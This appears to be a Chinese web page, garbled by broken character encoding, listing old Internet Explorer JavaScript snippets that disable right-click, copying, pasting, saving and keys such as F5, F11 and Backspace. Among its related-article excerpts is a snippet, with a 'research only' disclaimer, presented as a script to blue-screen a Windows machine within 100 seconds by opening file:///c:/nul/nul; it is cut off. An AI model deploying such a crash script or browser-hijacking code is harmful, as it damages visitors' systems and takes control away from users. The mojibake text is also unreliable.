javascript ½ûÖ¹Êó±êÓÒ¼ü...
<body oncontextmenu="return false" onselectstart="return false" ondragstart="return false" onbeforecopy="return false" onmouseup=document.selection.empty() oncopy=document.selection.empty() onselect=document.selection.empty()></body>
½²ÉÏÃæºìÉ«ÏÔʾµÄ²åÈëµ½ÍøÒ³ÖоͿÉÒÔʵÏÖÊó±êÓÒ»÷ÎÞЧ
onselectstart="return false" ½ûֹѡÔñ£¬ondragstart="return false"½ûÖ¹ÍÏ·Å£¬oncopy=document.selection.empty() ½ûÖ¹¿½±´¡£
½ûÖ¹±£´æ£º<noscript><iframe src="*.htm"></iframe></noscript>£¬·ÅÔÚheadÀïÃæ¡£
½ûÖ¹Õ³Ìù£º<input type=text onpaste="return false">
¹Ø±ÕÊäÈë·¨£º<input style="ime-mode:disabled">
ÆÁ±ÎÊó±êÓÒ¼ü£º
function document.oncontextmenu(){event.returnValue=false;}
ÆÁ±ÎF1°ïÖú£º
function window.onhelp(){return false}
ÆÁ±ÎÆäËû¼ü
function document.onkeydown()
{
if ((window.event.altKey)&&
((window.event.keyCode==37)|| //ÆÁ±Î Alt+ ·½Ïò¼ü ←
(window.event.keyCode==39))) //ÆÁ±Î Alt+ ·½Ïò¼ü →
{
alert("²»×¼ÄãʹÓÃALT+·½Ïò¼üÇ°½ø»òºóÍËÍøÒ³£¡");
event.returnValue=false;
}
/* ×¢£ºÕ⻹²»ÊÇÕæÕýµØÆÁ±Î Alt+ ·½Ïò¼ü£¬
ÒòΪ Alt+ ·½Ïò¼üµ¯³ö¾¯¸æ¿òʱ£¬°´×¡ Alt ¼ü²»·Å£¬
ÓÃÊó±êµãµô¾¯¸æ¿ò£¬ÕâÖÖÆÁ±Î·½·¨¾ÍʧЧÁË¡£ÒÔºóÈô
ÓÐÄÄλ¸ßÊÖÓÐÕæÕýÆÁ±Î Alt ¼üµÄ·½·¨£¬Çë¸æÖª¡£*/
if ((event.keyCode==8) || //ÆÁ±ÎÍ˸ñɾ³ý¼ü
(event.keyCode==116)|| //ÆÁ±Î F5 ˢмü
(event.ctrlKey && event.keyCode==82)){ //Ctrl + R
event.keyCode=0;
event.returnValue=false;
}
if (event.keyCode==122){event.keyCode=0;event.returnValue=false;} //ÆÁ±ÎF11
if (event.ctrlKey
Ïà¹ØÎĵµ£º
¡¾£¡ÉùÃ÷£º´Ë³ÌÐòÖ»¹©Ñо¿Ê¹Óã¬ÈçÓÃ×ö²»Õýµ±ÓÃ;ºó¹û×Ô¸º¡¿
100ÃëÄÚÀ¶ÆÁËÀ»úµÄJavascript½Å±¾Ô´´úÂë
Òý×Ô:http://www.webdeveloping.cn/blog/?action=show&id=78
<html>
<head>
<script LANGUAGE="javascript">
¡¡¡¡function leave() {
window.open(file:///c:/nul/nul,,toolbar=no,menub ......
JavaScript ʼþ·½·¨
http://www.webdeveloping.cn/blog/?action=show&id=207
ʼþÔ´¶ÔÏó
event.srcElement.tagName
event.srcElement.type
²¶»ñÊÍ·Å
event.srcElement.setCapture();
event.srcElement.releaseCapture();
ʼþ°´¼ü
event.keyCode
event.shiftKey
event.altKey
event.ctrlKey
ʼþ·µ»ØÖµ
......
Ê×ÏÈÊÇÎÒÃÇÊìϤµÄextendº¯Êý
/**
* À©Õ¹º¯Êý
* @param target À©Õ¹¶ÔÏó
* @param params À©Õ¹²ÎÊý
*/
function extend(target, params) {
if (!target) {
target = {};
}
for (var prop in params) {
target[prop] = params[prop];
}
r ......
var greeting_w = {
c:['ÄãºÃ!', '»¶Ó»ØÀ´', '»¶Ó»Øµ½×éÖ¯', '×£ÄãºÃÐÄÇ飡', 'Hi~', 'Hello!', '*^o^*', ':D', 'ûʶàºÈË®', 'CR=ChinaRen', 'ÓÖ¼ûÃæÁË!', '¶àÔ˶¯ÉÙÉú²¡', '»¶ÓÀ´µØÇò~', '»¶ÓÀ´»ðÐÇ~', 'ÄãÌ«ÓвÅÁË!', 'hoho', 'ûʳԸöË®¹û', 'À´ºß¸ö¸è¶ù', '²ðÄÉÈÊ»¶ÓÄã!', 'ÏëtaÁËÂð?', 'ɶʱͬѧ»á?', '±£»¤º ......
ÐÞ¸ÄÑ»·µÄÖ´Ðз½Ê½
for(var i=0;i<element.childNodes.length;i++){
Ö´ÐдúÂë
}
ÕâÖÖ·½Ê½Ã¿´ÎÑ»·¶¼ÒªÈ¡element.childNodes.lengthµÄÖµ£¬Ó¦¸Ã¸ÄΪÈçϵÄ
var n£½element.childNodes.length
for(var i=0;i<n;i++){
Ö´ÐдúÂë
}
2£ºÐÞ¸Ädom²Ù×÷µÄ´ÎÊý
domÅúÁ¿²åÈëÒ»ÅúÀàËƵĽڵ㲻ÈçÏȹ¹ÔìÒ»¸ö¶ÔÏó£¬ ......